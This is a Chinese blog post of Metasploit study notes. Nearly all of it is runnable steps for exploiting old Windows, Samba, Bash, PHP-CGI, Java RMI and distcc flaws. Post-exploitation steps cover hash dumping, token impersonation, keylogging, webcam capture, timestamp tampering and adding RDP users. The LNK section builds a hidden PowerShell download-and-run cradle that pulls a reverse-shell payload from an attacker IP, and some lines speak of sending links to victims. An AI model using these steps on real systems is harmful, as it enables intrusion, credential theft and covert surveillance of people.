kail of MSF Penetration Testing

kail of MSF real penetration testing

Note: This is my import notes from xmind over, layout may not be so good, I will finish late, have any comments or questions you can leave private messages

kail questions and msf acquaintance

	Kali问题解答
		kail桌面超时配置延迟问题
			想不让他自动休眠,setting,电源里面调节即可
		不支持win10拖入文件问题
			1、打开搜索应用程序的界面
			第一步:开启kail 远程 ssh,开启办法如下:
				1、配置 SSH  参数
					修改 sshd_config 文件,命令为:vi /etc/ssh/sshd_config
						将#PasswordAuthentication  no 的注释去掉,并且将 NO 修改为 YES  //kali中默认是  yes
							将 PermitRootLogin without-password 修改为 PermitRootLogin yes
								然后,保存,退出  vi
			第二步:启动 SSH  服务
				查看 SSH 服务状态是否正常运行
					命令为:/etc/init.d/ssh start或者service ssh start
			第三步:设置系统自启动 SSH  服务
				update-rc.d ssh enable   //系统自启动 SSH  服务
					update-rc.d ssh disabled //  关闭系统自启动 SSH  服务
			第四步:点这里下载  https://www.filezilla.cn/download/client
				下载 FILEZILLA 64 位 绿色版  打开软件输入 kail 系统 ip  地址、帐号、密码连接
				备用网站http://down-ww3.newasp.net/pcdown/soft/soft1/filezilla_win64.zip
		root密码123456

What is MSF

		Metasploit它是一个漏洞框架,是本身附带几百个已知软件漏洞的专业漏洞攻击工具
	安装要求
		硬盘:MSF会使用一些大型文件,分区是一定不要用FAT32类型分区,建议NTFS,Ext3等
		内存:2GB
		处理器:500mhz
		网络设备
		软件
			一台KALI,一台测试系统

Terminology

		渗透攻击Exploit
			指攻击者利用系统,应用,或者服务,所进行的攻击行为
		攻击载荷Paylot
			指我们期望目标在被渗透攻击后执行的代码,在MSF可以自由选择,传送和植入
		溢出代码Shellcode
			是在渗透攻击时作为攻击载荷运行的一组机器指令,通常用汇编语言编写,大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供命令行shell或者Meterpreter shell。
		模块Module
			MSF中的模块指的是MSF框架中所使用的一段软件代码组件,例如渗透攻击模块,辅助模块
		监听器Listener
			等待连入网络连接的组件,例如,在目标主机被攻击后,它可能会通过互联网连回到攻击主机上
MSF完美升级及目录结构解读
	MSFconsole进入MSF
		exploits渗透攻击
		auxiliary辅助性脚本
			用于扫描,嗅探,破解,注入,漏洞挖掘
		paylot攻击载荷
		encoders编码
		nops
			IDS IPS
				用于绕过

Basic use

		查找某一个漏洞用search+号码
			输出结果为需要的漏洞与进入对应的模块
				use+模块进入
					查看漏洞的利用的相关信息用ifo
						作者信息
						可攻击的系统
						如何设置漏洞set

Directory Structure

		漏洞框架地址
			/usr/share/metasploit-framework/
		Auxiliary
			辅助性脚本
		Encoders
			各种编码工具,用于躲过检测系统和过滤系统
		Exploit
			包含了exp,0day,各种漏洞利用脚本,主要攻击代码都存在这里
				命名规则 系统/服务/模块   在使用exp时可以按照这个命名方法找
		Nops
			用于绕过IDS IPS,生成脚本
		Payloads
			命名规则相同于exploit
				payloads与exploits区别
					payloads主要在目标及执行
					exploits在本地机执行作用与目标机
		Post
			这个目录存放MSF中exploits执行成功之后,向目标机发送的一些功能性指令,比如提权,获取hash
		Data
			存放Meterpreter,passiveX,Vnc,dlls等工具
			用户接口代码
			Msfweb和一些其他模块用到的数据文件
		Plugins
			模块用户需要使用load来加载,提供插件,例如数据库连接插件
		Scripts
			这个目录下文件大都是Meterpreter这个模块利用的脚本
		tools
			脚本与工具

How to Update

		一、替换 yum 源,把 kail 原有更新源#号注释掉,vi/etc/apt/sources.list
			#中科大源
				deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
				deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
				deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates  main contrib non-free 
				deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates  main contrib non-free 
		二、添加数字签名
			wget archive.kali.org/archive-key.asc //下载签名
				apt-key add archive-key.asc //安装签名
					注:如果添加数字签名还提示无法安装可删除原有 msf
						root@kali:~# apt remove metasploit-framework
					注:卸载过程中无法获得锁 /var/cache/apt/archives/lock - open (11: 资源暂时不可用)
					无法对目录 /var/cache/apt/archives/ 加锁
						root@kali:~# sudo rm /var/cache/apt/archives/lock //进行强制解锁
							root@kali:~# sudo rm /var/cache/apt/archives/
		三、安装 msf 框架
			root@bogon:~# apt-get update
			root@kali:~# apt-get install metasploit-framework //安装 msf 框架
			root@kali:~#msfconsole //发现有提示数据库未启动,退出 msf 启动数据库
			root@kali:~# systemctl start postgresql //启动数据库
			root@kali:~# systemctl enable postgresql //允许开机自启动
			root@kali:~# msfdb init //构建数据库缓存
			root@kali:~#msfconsole
Exploits模块和Payloads模块
	Exploits模块
		RHOST:目标主机IP
		RPORT:目标主机连接端口
		LHOST:攻击者IP
		LPORT:攻击者端口
		Payload:有效的荷载,成功后返回shell
		命名 系统/服务/端口
	Payloads模块
		命名 系统/类型/名称
		类型命名规划
			shell上传一个shell
			dllinject注入一个dll到进程
			patchup***修补一个漏洞
			upexec上传并执行一个文件
			是在使用一个模块之后再去使用的。
			高级的 payload
				meterpreter
				vncinject
				passive
		名称命名规划
			shell_find_tag:在一个已建立的连接上创建一个 shell。 
			shell_reverse_tcp:反向连接到攻击者主机幵创建一个 shell。 
			bind_tcp:监听一个 tcp 连接。 
			reverse_tcp:反向建立 tcp 连接。 
			reverse_http:通过 HTTP 隧道通信幵创建一个新用户添加到管理组。 
			add_user:创建一个新用户并添加到管理组。 
			xxx_ipv6_tcp:基于 IPV6。 
			xxx_nonx_tcp:no execute 或 win7(NX 是应用在 CPU 的一种可以防止缓冲区溢出的技术)。
			xxx_ord_tcp:有序 payload。 
			xxx_tcp_allports:在所有可能的端口。

MSF basic commands

	用?可以浏览所有命令
	msfconsole
		控制台
	search
		搜索命令或模块
	back
		返回
	info
		查看模块信息
	check
		检测
	banner
		显示MSF相关信息
	connect+网址+端口
		连接一个主机
	exit/quit
		退出控制台
	irb
		脚本模式
	jobs
		显示并管理作业
	kill
		结束作业
	loadpath 
		加载一个模块路径
	load
		加载一个插件
	resource
		运行储存一个文件中的命令
	route
		查看一个会话路有消息
	save
		保存动作
	set
		给变量复制
	show
		显示给所有类型的模块
	setg
		把一个赋值给全局变量
			例如set设置IP,就会用到其他共计模块的RHOST中
	sleep
		在限定的秒数内什么也不做
	unload
		卸载
	unset
		解出一个或者多个变量
	unsetg
		解出一个或者多个全局变量
	version
		显示MSF和控制台库版本

MSF penetration testing a

	网络服务器攻击渗透MS08-067
		用到靶机WinXPen Service Pack3
			执行msfconsole命令
				搜索ms08_067,可看到可利用的模块
					use进入模块
						show potions看需要的设置,只需要设置攻击的IP地址 set RHOST 
							info可查看可以用于的系统版本
								check检测是否存在漏洞
									exploit或run
										查看攻击效果
											session-i有会话为成功

MSF penetration testing two

	浏览器攻击渗透MS10-018
		用到靶机WinXPen Service Pack3
			执行msfconsole命令
				搜索ms10_018,可看到可利用的模块
					use进入模块behaviors
						show potions看需要的设置,设置攻击的IP地址 set RHOST  部署者自己搭建的ip  set SRVHOST
							设置一个payload正向连接shell,set payload windows/meterpreter/bind_tcp
								设置端口set LPORT
									run
										制作出链接发给受害者
											session-i +选择进入的电脑
												shell登录
													就可以操作他人电脑了
														ctrl+c退出
				search ie_可以查看一些IE浏览器漏洞
	应用软件格式渗透,利用word去渗透(MS10-087)
		用到靶机WinXPen Service Pack3
			执行msfconsole命令
				搜索ms10_087,可看到可利用的模块
					use进入模块behaviors
						show potions看需要的设置,需要设置文件名和paylod
							这里payload调用一个执行文件  set payload windows/exec(更换payload的模式)
								执行计算器set CMD cale.exe
									run,生成一个文件
										在靶机执行这个文件

MSF penetration testing three

	网络服务器攻击渗透测试MS17-010(永恒之蓝,比特币勒索病毒)
		win7
			执行msfconsole 
				搜索search ms17_010
					找到enternalblue
						use进入模块
							show option查看设置
								RHOSTS
								LHOST
								payload
									win7 大部分64位
										反向链接  set payload windows/x64/meterpreter/revers_tcp
								发送攻击代码后,用这个漏洞向对方主机发送payload,当对方有漏洞时,就会反向链接
								run
									进入meterpreter模式
										shell就可以登录对方系统

Late attacks Use MSF (4 to 6 penetration test)

	上传文件到Windows主机
		upload - r可以递归上传目录和文件
			upload - r/源目录/文件.exe 目标目录c:\\
				注意Windows路径要双斜线
	下载文件windows主机上面的文件
		download文件 下载到的目标路径
		download -f 下载整个子目录和文件
	执行exe文件
		execute -f  路径+.exe文件
			查看是否成功用任务管理器去看
			从MSF运行的文件都是SYSTEM高权限运行
		-H不可见 -i交互
	创建CMD新通道
		如果你想在目标主机上执行命令提示符
			execute -f  cmd-c
	显示进程
		ps
	获取目标主机CMD
		shell
	获取admin权限,可提升到本地系统权限
		getsystem
	使用Hashdump转储所有hash值(获取不到明文密码时使用)
		可以用meterpreter来dump目标主机当前系统账户密码,转存的内容是NTML哈希格式,可以后期破解
			命令hashdump
				输出的每一行内容格式如下  Username:SID:LM hash:NTLM hash:::
				NTLM 在线破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
	使用 Credcollect 转储 hash 值
		还有一个类似的脚本叫 credential_collector,也可以收集目标主机的 tokens
			命令run credcollect
	端口转发(对方主机在内网情况下)
		通过对方80端口进入到内网
			命令portfwd
				可以攻击本来无法直接访问的目标主机
					portfwd add -l 本机端口 -p (3389)内网端口 ip地址
	删除端口转发
		命令:portfwd delete -l 本机端口 -p连接的端口 -r 目标ip
			删除所有端口转发的记录
				portfwd flush
	显示所有端口转发记录
		命令portfwd list 
	查找
		命令search
			例如搜索主机上所有txt文件search -f *.txt
	获取用户 ID
		getuid 命令会显示主机上运行 meterpreter 服务的用户
	获取系统信息
		sysinfo 命令会显示系统名,操作系统,架构和语言等。
	模拟任意用户(token 操作,使用之前要有一台机器的权限)
		于攻击像微软活动目录这样的分布式系统非常有帮助
		incognito 最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户

tokens. This application was later integrated into the metasploit, and eventually integrated into the meterpreter in

		使用如下:
		在 meterpreter 会话中加载这个模块非常简单,只要输入 use incognito 命令即可
			1. use incognito
		 输入 list_tokens -u 来显示所有有效的 tokens
			2. list_tokens -u
				可以看到域管理员
					本地用户
					网络权限
					SYSTEM权限
		 然后我们需要模拟某个 token 来获取其权限。还有注意,如果成功模拟了一个 token
			3. impersonate_token “域管理员权限”
				我们可以使用 getuid 命令来检查当前用户 ID
	webcam摄像头命令
		webcam_list #查看摄像头
		webcam_snap #通过摄像头拍照
		webcam_stream #通过摄像头开启视频
	timestomp(需要两个未被占用的进程)
		timestomp C:// -h #查看帮助
		timestomp -v C://2.txt #查看时间戳
		timestomp C://2.txt   -f   C://1.txt                #将 1.txt 的时间戳复制给 2.txt
		查看时间 dir c://
	enable_rdp脚本进行一些操作
		run post/windows/manage/enable_rdp #开启远程桌面
		run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
		run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将 3389 端口转发到 6662
		子主题 4
			脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
				开启 rdp 是通过 reg 修改注册表
				添加用户是调用 cmd.exe 通过 net user 添加;
				端口转发是利用的 portfwd 命令
	键盘记录
		keyscan_start #开始键盘记录
		keyscan_dump #导出记录数据
		keyscan_stop #结束键盘记录
	其他

MSF penetration testing seven

	samba服务漏洞入侵Linux
		CVE-2017-7494
			Samba是在Linux和unix系统上实现SMB协议的一个软件,由服务器以及客户端程序构成,对应端口139,445等
				影响版本:漏洞影响了 Samba 3.5.0 之后的版本,不包括 4.6.4/4.5.10/4.4.14
					查看 samba 版本并打开 samba 配置文件添加以下配置
						vi /etc/samba/smb.conf
					与/tmp/public目录配置一下共享
						:wp保存
					对文件创建一个共享目录
						root@kali:~# mkdir /tmp/public
					修改读写执行权限
						root@kali:~# chmod 777 /tmp/public
					以上是SambaCry漏洞利用前提,一定要有一个共享目录,这样攻击者可以在共享目录传递攻击代码并且执行,获得Root权限,控制肉鸡
					重启Samba
						root@kali:~# /etc/init.d/samba restart
					查看 samba 进程
						root@kali:~# ps aux | grep samba
					查看 samba 端口状态(采用 139 和 445 端口)
						root@kali:~# netstat -tnlp samba
					更新 MSF 后使用"exploit/linux/samba/is_known_pipename"利用模块,设置 rhost 后直接 exploit 即可得到 shell(有时版本需要设置ID=3)
						找最新的漏洞
					入侵成功 可进行操作
		samba 低版本漏洞(比较少)
			实验环境MSF提供的漏洞环境
				首先要扫描目标主机上开放的端口和服务,用 nmap,命令如下:
					nmap -sS -Pn -A 192.168.0.142
				2、发现主机上开放的 139,445 端口之后,说明该主机有可能存在 samba 服务进程溢出漏洞,尝试通过该端口建立一个 meterpreter 会话,需要用到 metasploit.
				3、打开 metasploit 之后需要先判断 samba 的版本,命令如下:
					msf> search scanner/samba
				4、然后使用如下命令来定义要扫描 samba 的版本所用到的 exploits 参数。
					msf> use auxiliary/scanner/smb/smb_version
						 set RHOSTS 192.168.0.102
						这条命令定义将要扫描 samba 版本的进程主机的 IP 地址
				exploit
					开始利用
						msf> use exploit/multi/samba/usermap_script
							这是攻击模块,上面的是扫描模块
						msf exploit(usermap_script) > set RHOST 192.168.0.102
						msf exploit(usermap_script) > exploit

MSF penetration testing eight

	Bash Shellshock CVE-2014-6271(破壳漏洞)
		Shellshock 的原理是刟用了 Bash 在导入环境变量凼数时候的漏洞,启动 Bash 的时候,
它不但会导入这个函数,而也会把函数定义后面的命令执行。在有些 CGI 脚本的设计中,
数据是通过环境变量来传递的,这样就给了数据提供者利用 Shellshock 漏洞的机会。
简单来说就是由于服务器的 cgi 脚本调用了 bash 命令,由于 bash 版本过低,攻击者把有
害数据写入环境变量,传到服务器端,触发服务器运行 Bash 脚本,完成攻击。
			实验环境靶机metasploitable2和攻击机kali
				要利用此漏洞,需要在 cgi-bin 目录中有一个可执行脚本。本次实验一个简单的输出“hello world”脚本即可
					进入到靶机的/usr/lib/cgi-bin/目录下,输入以下
						创建脚本sudo nano hello.sh
					输入正确的密码,然后对 hello.sh 脚本进行编辑
						#! /bin/bash
						echo "Content-type: text/html"
						echo ""
						echo "Hello world!"
					保存好后,赋予脚本可执行权限,使用 chmod 命令:
						sudo chmod 755 hello.sh
					验证一下,通过浏览器访问该脚本,可以看到脚本成功执行。
				准备攻击
					终端输入 msfconsole 来启动 metasploit。
						search 命令来搜索 exploits。输入 shellshock,就能找到apache_mod_cgi_bash_env_exec 模块,复制模块路径,use进入
							options来查看模块的各种设置
								设置进程 IP 地址 rhost 和脚本文件路径 targeturi
									set rhosts+Ip
									msf exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/hello.sh
									本地监听地址  set LHOST 
								需要选择一个 payload 这里我们选择一个反向 TCP shell 就可以了
									set payload linux / x86 / shell / reverse_tcp
				getshell
					check查看是否有漏洞
					exploit发动攻击,得到shell会话
						whoami
						id查看用户信息
	PHP CGI漏洞利用
		用phpinfo去看对方php版本服务器版本是否支持CGI,ServerAPI一行中,是服务器中间件一个扩展功能,留言板功能可能用到
			search cve:2012-1823
				msf > use exploit/multi/http/php_cgi_arg_injection
					msf exploit(php_cgi_arg_injection) > show options
						msf exploit(php_cgi_arg_injection) > set rhost 192.168.0.102
							rhost => 192.168.0.102
								msf exploit(php_cgi_arg_injection) > exploit

MSF penetration testing nine

	Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞
		nmap-p0-65535 IP查看1099端口是否开启
			use exploit/multi/misc/java_rmi_server
				set RHOST IP
					exploit
						shell(进入 meterpreter 时执行)
	 java cve-2013-0422
		use exploit/multi/browser/java_jre17_jmxbean
	Distcc后门漏洞
		Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 Xcode 1.5 版本及其他版本的 distcc 2.x 版本配置对于服务器端口的访问不限制
			启动metasploit
			use exploit/unix/misc/distcc_exec
			set RHOST IP
			exploit
			id 查看权限 uname -a 验证

MSF penetration testing ten

	Druby(MSF使用的语言).rb
		启动 metasploit
		发现 8787 Druby 端口
		search drb 搜索 drb 相关漏洞
		use exploit/linux/misc/drb_remote_codeexec
		set URL druby:IP:8787 ,设置目标 druby 链接
		exploit
		id,uname -a
	“震网三代” LNK 文件远程代码执行漏洞(CVE-2017-8464)
		当 Windows 系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过 U 盘、网络共享等途径触发漏洞

payload1

				msfconsole
				search 2017_8464
				use exploit/windows/fileformat/cve_2017_8464_lnk_rce
				set PAYLOAD windows/meterpreter/reverse_tcp
				set LHOST 192.168.10.118(你的 IP)
				exploit
				之后会在/root/.msf4/local 目录下生成我们的利用文件
				注意:kali2.0 下无法直接访问该文件夹(快捷方式),可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1 下
					cp -r /root/.msf4/local/ /root/1
				set LHOST 192.168.10.118 (你的 IP 地址)
				run
				在msf中进行监听

payload2

				利用 Powershell 快捷键
					msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.100 -f psh-reflection>/opt/search.ps1
						(这个工具可以直接生成一个木马)
							可以绕过一些检测
					然后将/opt/目录下的 search.ps1 文件移动到/var/www/html/下
					随后打开 Apache 服务
						service apache2 start
					访问 web 下的 ps1 文件
					创建一个快捷方式
						快捷方式指向ps1文件
							powershell -windowstyle hidden -exec bypass -c "IEX (New-Object
		Net.WebClient).DownloadString('http://192.168.10.118/search.ps1');test.ps1"
							当别人执行了这个快捷方式之后,就相当于访问了这个地址
					到本机上配置监听
			Shortcut Downloader
	Windows 搜索远程命令执行漏洞(CVE-2017-8543)
		当 Windows 搜索处理内存中的对象时,存在远程执行代码漏洞
主要用攻击模块做攻击,辅助模块用第三方代替,不建议使用
Published 40 original articles · won praise 3 · Views 467

Guess you like

Origin blog.csdn.net/weixin_43079958/article/details/105175105